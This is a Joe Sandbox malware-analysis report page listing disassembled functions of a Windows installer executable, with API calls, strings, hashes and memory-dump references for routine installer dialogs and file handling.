Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00404850 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,Call), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

Call, xrefs: 004049B1, 004049B6, 004049C1
A, xrefs: 00404973
(7B, xrefs: 0040494D

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$Call
API String ID: 2624150263-413618503
Opcode ID: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00402104 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Strings

C:\Users\user\AppData\Local\Iw\Venke, xrefs: 004021C3

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Iw\Venke
API String ID: 542301482-1791866492
Opcode ID: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction ID: a370b0fa9b2e606d6813e98b4c017b265e4ea8c47d708310f479c561ceb58c7b
Opcode Fuzzy Hash: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction Fuzzy Hash: 80414A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction ID: e6f127318fd58302517648c6e406f49d0db104963aa8d987e753e5cb7f87edca
Opcode Fuzzy Hash: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction Fuzzy Hash: EDF08271A14104EBDB10DBA4DA499AEB378EF14314F60467BF545F21E0DBB45D809B2A

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

Call, xrefs: 004046FB
N, xrefs: 004046BA

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\4AMVusDMPP.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

[Rename], xrefs: 0040611D, 0040612F
%ls=%ls, xrefs: 004060A9

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: a8f6130d4aa3065939d725957225dfc1b425243e5004b20d0867480790577512
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: d8bd542d8f5d0add287beae510a16995646733a1dc03fc5179ed0d48c47eb8dc
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 0040667C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040667D, 00406682
*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2246974252
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(00016390,00000064,00018D7D), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

verifying installer: %d%%, xrefs: 00402E3A
unpacking data: %d%%, xrefs: 00402E33, 00402E43

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 6E882569 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6E88121B: GlobalAlloc.KERNEL32(00000040,?,6E88123B,?,6E8812DF,00000019,6E8811BE,-000000A0), ref: 6E881225

GlobalFree.KERNEL32(?), ref: 6E882657
GlobalFree.KERNEL32(00000000), ref: 6E88268C

Memory Dump Source

